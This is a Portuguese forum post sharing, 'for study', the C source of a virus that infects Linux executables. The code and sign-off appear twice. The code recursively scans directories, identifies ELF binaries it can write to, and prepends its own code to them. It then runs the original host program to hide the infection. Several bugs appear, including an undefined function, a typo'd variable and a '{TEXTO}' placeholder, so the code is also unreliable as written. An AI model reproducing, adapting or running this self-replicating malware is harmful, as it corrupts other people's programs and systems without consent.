Olá pessoal estou postando um código fonte de um vírus em C que infecta sistemas Linux. (PARA ESTUDO).
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80
#define tamVir 12239 /* Tamanho do Vírus */
char codvirus [tamVir]; /* conterá o código do vírus */
const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */
int _USER_;
int _GROUP_;
char *_PATH_;
void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo,
Foi feita gravando byte por bayte pois assim diminui em muito
o tamanho do código, porém pode ser aperfeiçoado.
No windows seria fácil, bastaria copiar o vírus para um arquivo
temporário e depois copiar a arquivo a ser infectado no final do
temporário, apagar o arquivo original e depois renomear o temp.
No linux o buraco é "mais embaixo". Apesar de ter direito de escrita
em um arquivo, o usuário pode não ter direito de escrita no diretório
onde o arquivo se encontra. Logo não daria para criar o temporário.
Então pode vir a pergunta. Por que não copia o arquivo para um temporário
em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui
o temporário no final? O problema é que teria que varrer todo o disco
procurando um diretório em que p usuário tivesse direito de escrita
correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário
home me dá garantia que posso escrever nele ou se o usuário que irá executar
o vírus tem diretório home. Por que, então não guardar o executável na memória,
sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final? Porque
nada garante que dependendo do tamanho do executável e da memória disponível
irá ter espaço suficiente, principalmente se estiverem sendo executados várias
estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus
ficará na memória idefinidamente, essa solução me pareceu melhor.*/
FILE *file_exec;
FILE *file_tmp;
char buf[1024];
char *tmp;
long i;
if (!(file_exec=fopen(_arq, "rw+"))) return;
tmp=(char *)malloc(strlen (_arq)+4);
strcpy (tmp, _arq);
strcat (tmp,".tmp");
if (file_tmp=fopen(tmp, "w+"))
{
unlink(tmp);
/* Copiando o hospedeiro para o temporário */
while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);
/* Voltando ao início dos arquivos */
fseek(file_tmp,0 ,SEEK_SET);
fseek(file_exec,0 ,SEEK_SET);
/* copiando para dentro do arquivo original, poupamos tempo com permissões */
/*Gravando o código do vírus no arquivo temporário*/
fwrite(codvirus,1,tamVir,file_exec);
/* voltando o original para depois do vírus */
while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
}
free(tmp);
close (file_tmp);
close (file_exec);
}
void tentaInfectar (char *arq)
{
FILE *file_exec;
long ret;
char bout[25];
int i;
/* vamos pegar os atributos do arquivo */
struct stat attrib;
stat(arq, &attrib);
/* verificando se o arquivo é binário
Todo executavel binário assim como no windows
tem um cabeçalho identificando.
Não sei o significado mas abri vários binários
e sem excessão eles têm os seguintes primeiros
24 byts = CABEC_EXEC */
if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */
ret = fread (bout, 1, 24, file_exec);
/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
if (ret <= 0)
{
close (file_exec);
return;
}
for (i=0; i<=23; i++)
{
/* Se tiver alguma diferença no cabeçalho, não é binário */
if (CABEC_EXEC[i] != bout[i])
{
close (file_exec);
return;
}
}
/* Se o usuário for root ou for igual ao dono do arquivo
no caso do grupo, tem que ter direito de escrita
outro caso é se o arquivo der direito de escrita para todos
nestes 4 casos, podemos continuar */
if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;
infecta (arq, attrib);
}
void buscaInfecta (char *d)
{
struct dirent *dir;
DIR *path;
char *strArq;
char *dt;
int tam;
tam = strlen(d);
dt=(char *)malloc (tam+1);
strcpy (dt, d);
/* retirando a barra do fim do nome em caso de diretório para ficar padrão
quando for diretório a barra será recolocada*/
if (dt[tam-1]=='/')
{
dt[tam-1]='{TEXTO}';
tam--;
}
if (!(path=opendir (dt))) { free (dt); return; }
while(dir = readdir(path))
{
usleep (1000);
strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
strcpy (strArq, dt);
strcpy (&strArq[tam], "/");
strcpy (&strArq[tam+1], dir->d_name);
if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
buscaInfecta (strArq);
else if (dir->d_type==8)
tentaInfectar (strArq);
free (strArq);
}
closedir (path);
free (dt);
}
void pegaDadosExport (void)
{
/* Pegando a Variavel PATH do sistema */
_PATH_ = getenv("PATH");
/* pegando id do usuário e do grupo do usuário que está executando a aplicação */
_USER_ = getuid();
_GROUP_= getgid();
}
int pegaCodVirus (char *exec)
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
char *diret;
char *tmp;
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(exec,"r")))
{
tamstr=strlen(exec);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, exec);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return 0;
}
ret = fread (codvirus, 1, tamVir, file_exec);
if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
{
close (file_exec);
return 0;
}
close (file_exec);
return 1;
}
void executaHospedeiro (char *exec, int qtde, char *param[])
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
FILE *file_tmp;
char *diret;
char *tmp;
char tmpstr[1024];
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
char prog[512];
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(param[0],"r")))
{
tamstr=strlen(param[0]);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, param[0]);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return;
}
strcpy (prog,exec);
for (ret=1; ret<qtde; ret++)
{
strcat (prog," ");
strcat (prog,param[ret]);
}
if (!(file_tmp=fopen(exec,"w+")))
{
close (file_tmp);
return;
}
fseek(file_exec,tamVir,SEEK_SET);
while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);
close (file_exec);
close (file_tmp);
chmod (exec,493);
system (prog);
unlink(prog);
return;
}
int main (int argc, char *argv[])
{
int i;
i=fork();
if (i==0)
{
pegaDadosExport ();
/* pega o código binário do vírus para infectar os outros ou então pula a infecção */
if (pegaCodVirus (argv[0])) buscaInfecta ("./");
acao();
}
else executaHospedeiro ("./arqexec", argc, rgv);
}
Irei postar mais códigos preciso apenas de tempo.
Abraços.
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80
#define tamVir 12239 /* Tamanho do Vírus */
char codvirus [tamVir]; /* conterá o código do vírus */
const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */
int _USER_;
int _GROUP_;
char *_PATH_;
void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo,
Foi feita gravando byte por bayte pois assim diminui em muito
o tamanho do código, porém pode ser aperfeiçoado.
No windows seria fácil, bastaria copiar o vírus para um arquivo
temporário e depois copiar a arquivo a ser infectado no final do
temporário, apagar o arquivo original e depois renomear o temp.
No linux o buraco é "mais embaixo". Apesar de ter direito de escrita
em um arquivo, o usuário pode não ter direito de escrita no diretório
onde o arquivo se encontra. Logo não daria para criar o temporário.
Então pode vir a pergunta. Por que não copia o arquivo para um temporário
em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui
o temporário no final? O problema é que teria que varrer todo o disco
procurando um diretório em que p usuário tivesse direito de escrita
correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário
home me dá garantia que posso escrever nele ou se o usuário que irá executar
o vírus tem diretório home. Por que, então não guardar o executável na memória,
sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final? Porque
nada garante que dependendo do tamanho do executável e da memória disponível
irá ter espaço suficiente, principalmente se estiverem sendo executados várias
estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus
ficará na memória idefinidamente, essa solução me pareceu melhor.*/
FILE *file_exec;
FILE *file_tmp;
char buf[1024];
char *tmp;
long i;
if (!(file_exec=fopen(_arq, "rw+"))) return;
tmp=(char *)malloc(strlen (_arq)+4);
strcpy (tmp, _arq);
strcat (tmp,".tmp");
if (file_tmp=fopen(tmp, "w+"))
{
unlink(tmp);
/* Copiando o hospedeiro para o temporário */
while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);
/* Voltando ao início dos arquivos */
fseek(file_tmp,0 ,SEEK_SET);
fseek(file_exec,0 ,SEEK_SET);
/* copiando para dentro do arquivo original, poupamos tempo com permissões */
/*Gravando o código do vírus no arquivo temporário*/
fwrite(codvirus,1,tamVir,file_exec);
/* voltando o original para depois do vírus */
while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
}
free(tmp);
close (file_tmp);
close (file_exec);
}
void tentaInfectar (char *arq)
{
FILE *file_exec;
long ret;
char bout[25];
int i;
/* vamos pegar os atributos do arquivo */
struct stat attrib;
stat(arq, &attrib);
/* verificando se o arquivo é binário
Todo executavel binário assim como no windows
tem um cabeçalho identificando.
Não sei o significado mas abri vários binários
e sem excessão eles têm os seguintes primeiros
24 byts = CABEC_EXEC */
if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */
ret = fread (bout, 1, 24, file_exec);
/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
if (ret <= 0)
{
close (file_exec);
return;
}
for (i=0; i<=23; i++)
{
/* Se tiver alguma diferença no cabeçalho, não é binário */
if (CABEC_EXEC[i] != bout[i])
{
close (file_exec);
return;
}
}
/* Se o usuário for root ou for igual ao dono do arquivo
no caso do grupo, tem que ter direito de escrita
outro caso é se o arquivo der direito de escrita para todos
nestes 4 casos, podemos continuar */
if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;
infecta (arq, attrib);
}
void buscaInfecta (char *d)
{
struct dirent *dir;
DIR *path;
char *strArq;
char *dt;
int tam;
tam = strlen(d);
dt=(char *)malloc (tam+1);
strcpy (dt, d);
/* retirando a barra do fim do nome em caso de diretório para ficar padrão
quando for diretório a barra será recolocada*/
if (dt[tam-1]=='/')
{
dt[tam-1]='{TEXTO}';
tam--;
}
if (!(path=opendir (dt))) { free (dt); return; }
while(dir = readdir(path))
{
usleep (1000);
strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
strcpy (strArq, dt);
strcpy (&strArq[tam], "/");
strcpy (&strArq[tam+1], dir->d_name);
if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
buscaInfecta (strArq);
else if (dir->d_type==8)
tentaInfectar (strArq);
free (strArq);
}
closedir (path);
free (dt);
}
void pegaDadosExport (void)
{
/* Pegando a Variavel PATH do sistema */
_PATH_ = getenv("PATH");
/* pegando id do usuário e do grupo do usuário que está executando a aplicação */
_USER_ = getuid();
_GROUP_= getgid();
}
int pegaCodVirus (char *exec)
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
char *diret;
char *tmp;
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(exec,"r")))
{
tamstr=strlen(exec);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, exec);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return 0;
}
ret = fread (codvirus, 1, tamVir, file_exec);
if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
{
close (file_exec);
return 0;
}
close (file_exec);
return 1;
}
void executaHospedeiro (char *exec, int qtde, char *param[])
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
FILE *file_tmp;
char *diret;
char *tmp;
char tmpstr[1024];
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
char prog[512];
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(param[0],"r")))
{
tamstr=strlen(param[0]);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, param[0]);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return;
}
strcpy (prog,exec);
for (ret=1; ret<qtde; ret++)
{
strcat (prog," ");
strcat (prog,param[ret]);
}
if (!(file_tmp=fopen(exec,"w+")))
{
close (file_tmp);
return;
}
fseek(file_exec,tamVir,SEEK_SET);
while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);
close (file_exec);
close (file_tmp);
chmod (exec,493);
system (prog);
unlink(prog);
return;
}
int main (int argc, char *argv[])
{
int i;
i=fork();
if (i==0)
{
pegaDadosExport ();
/* pega o código binário do vírus para infectar os outros ou então pula a infecção */
if (pegaCodVirus (argv[0])) buscaInfecta ("./");
acao();
}
else executaHospedeiro ("./arqexec", argc, rgv);
}
Irei postar mais códigos preciso apenas de tempo.
Abraços.
Comment